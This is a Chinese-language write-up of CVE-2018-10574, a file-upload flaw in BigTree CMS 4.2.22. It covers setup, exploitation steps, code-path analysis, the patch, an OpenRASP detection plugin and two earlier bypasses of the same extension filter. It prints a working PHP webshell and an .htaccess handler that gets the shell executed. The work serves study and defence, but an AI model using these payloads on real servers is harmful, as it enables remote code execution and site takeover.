漏洞描述

  • BigTree-CMS
    • ​ BigTree是一个基于PHP和MySQL的可扩展的开放源码CMS。它是由Fastspot的专业设计师、战略家和开发人员创建的,可以帮助您创建和维护更好的网站
  • 漏洞概况
    • site/index.php/admin/trees/add/ in BigTree 4.2.22 and earlier allows remote attackers to upload and execute arbitrary PHP code because the BigTreeStorage class in core/inc/bigtree/apis/storage.php does not prevent uploads of .htaccess files.

环境搭建

  • BigTree-CMS 4.2.22
  • php7.2 + ubuntu18.04 + mysql 5.7 + apache2

这里需要特别注意一下的是,搭建环境的时候我们先建立一个Example Site,不然的话我们是找不到漏洞的入口的

0-0

漏洞利用

漏洞的入口url在http://your-ip/bigtree/site/index.php/admin/trees/add

img

点击Browse按钮,这个本来是用来上传照片用的

img

先上传一个文件,注意文件名要避开$DisabledExtensionRegEx 正则表达式,这里上传一个名为haozhe.的文件

1
2
3
4
5
// haozhe.
<script language='php'>
eval($_GET['cmd']);
phpinfo();
</script>

img

然后再上传.htaccess文件

1
2
3
4
// .htaccess
<FilesMatch "haozhe.">
SetHandler application/x-httpd-php
</FilesMatch>

CVE-2018-10574-BigTreeCMS4.2.22文件上传漏洞/imgs

上传的文件会保存再web项目目录的site/files/resources文件夹下

CVE-2018-10574-BigTreeCMS4.2.22文件上传漏洞/imgs

漏洞分析

我们先看之前上传文件的时候的抓到的数据包

CVE-2018-10574-BigTreeCMS4.2.22文件上传漏洞/imgs

我们发现POST的请求路径是bigtree/site/index.php/admin/ajax/file-browser/upload,所以可以猜测漏洞的触发点在admin/ajax/file-browser/upload文件中。

可以看到在第17行,实例化了一个BigTreeStorage类。接着检查POST请求中是否存在$_POST["replace"]参数,如果不存在则置$replacing = false,表示并不是要替换一个已经存在的文件。

img

然后在第45行,如果$error的值不为0,就可以进入第59行的if ($replacing || !$admin->matchResourceMD5($temp_name, $_POST["folder"]))判断语句,

img

虽然replacing = false,但是!$admin->matchResourceMD5($temp_name, $_POST["folder"])的返回值是true,所以可以继续执行

img

因为$replacing = false,所以接下来调用$storage$store()方法。

img

我们跟进这个方法,这个方法在core/inc/bigtree/apis/storage.php文件中。

img

在这里我们可以看到造成漏洞的关键点,在core/inc/bigtree/apis/storage.php中的store()方法中,也就是第217行中,调用preg_match()方法检查$file_name是不是和正则表达式匹配,如果匹配的话就调用unlink()函数来删除这个文件,并且返回false。如果在这里没有拦住恶意文件,那么接下来就可以说是畅通无阻了。

因为我们上传的是.htaccess文件,这个正则表达式匹配不到,所以不会进入这个if语句执行unlink(),我们继续跟下去

img

然后在第238行,因为$this->Cloud是false,这是在一开始就定义好的,所以进入else逻辑继续执行。

img

在第275行调用BigTree的moveFile方法,继续跟进moveFile(),这个方法在文件core/inc/bigtree/utils.php中。

img

moveFile()方法继续调用了copyFile()方法,所以继续跟进,在这个函数里,我们可以看到终于看到了编写OpenRASP插件支持的copy()函数。

img

最后梳理一下,整个调用过程就如下图所示:

函数调用栈

官方修复

patch

OpenRASP插件

我发现虽然在OpenRASP官方手册的注册类型页面中没有copy类型的,但是实际上是可以注册为copy的,所以我之前算是一直错误理解了……

官方手册中支持的Hook函数列表中有copy函数

img

之前我一直在注册类型页面寻找能不能找到一种类型,它里面的支持函数有copy,最后我直接尝试了注册类型为copy,打印params信息,结果竟然真的有返回。

CVE-2018-10574-BigTreeCMS4.2.22文件上传漏洞/imgs

它返回了三个信息:sourcedeststack,而且我们其实可以看到stack中就是上面分析的函数调用链。

对于这个补丁的插件,我们只要把它的正则表达式拿回来就可以了。

核心代码:

img

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const plugin_version = 'CVE-2018-10574'
const plugin_name = 'CVE-2018-10574'

'use strict'

var plugin = new RASP(plugin_name)

const clean = {
action: 'ignore',
message: 'Looks fine to me',
confidence: 0
}

const danger = {
action: 'block',
message: 'May Be Dangerous',
confidence: 100,
algorithm: ''
}

CVE_2018_10574 = {}

CVE_2018_10574.id = 'CVE-2018-10574'
CVE_2018_10574.attack_type = 'copy'
CVE_2018_10574.attack_params = "params.dest"
CVE_2018_10574.detected_context = true
CVE_2018_10574.attack_patch = "/\\.(exe|com|bat|php|rb|py|cgi|pl|sh|asp|aspx|phtml|pht|htaccess)/i.test(attack_params)"
CVE_2018_10574.whitelist = []
CVE_2018_10574.known = {}

option = CVE_2018_10574

plugin.register(option.attack_type, function(params, context){
var attack_params = eval(option.attack_params)
var whitelist = option.whitelist
var known = option.known
if(attack_params.constructor == Array) attack_params_length = attack_params.length
if(attack_params.constructor == String) attack_params_length = 1
for(var i = 0;i < attack_params_length; i++){
if (eval(option.detected_context))
{
if(eval(option.attack_patch))
{
return danger
}
}
else
{
return clean
}
}
})

编写完插件后,要重新启动apache服务器

1
$ sudo service apache2 restart

上传.htaccess文件,拦截成功。

img

之前的漏洞

CVE-2017-7695

其实在BigTree-CMS 版本中,在这个补丁点就出现过漏洞

25

对于这个正则表达式

1
var $DisabledExtensionRegEx = '/\\.(exe|com|bat|php|rb|py|cgi|pl|sh|asp|aspx)$/i';

我们只要在上传的文件名后面加上一个空格就可以轻松绕过了

img

官方给出的修复方案

27

CVE-2017-9364

在后来的BigTree-CMS 4.2.18 版本中,又出现了后缀名过滤不严的问题。

CVE-2017-9364

所以我们可以直接上传一个以.pht为后缀或者是.phtml为后缀的文件

23

访问http://your-ip/bigtree/site/files/resources/test.phtml

24

官方给出的修复就是在$DisabledExtensionRegEx中加入phtmlpht

22

漏洞的总结

  • 这个点前后共有3个CVE,主要是因为对上传的文件名过滤不严,我们知道在用php编写上传功能时,需要注意:
    1. 过滤常见的文件名,比如:php、phtml、pht、asp、aspx等等
    2. 禁止用户上传.htaccess文件
    3. 匹配用户上传文件名后缀的正则表达式末尾不应该加上$

参考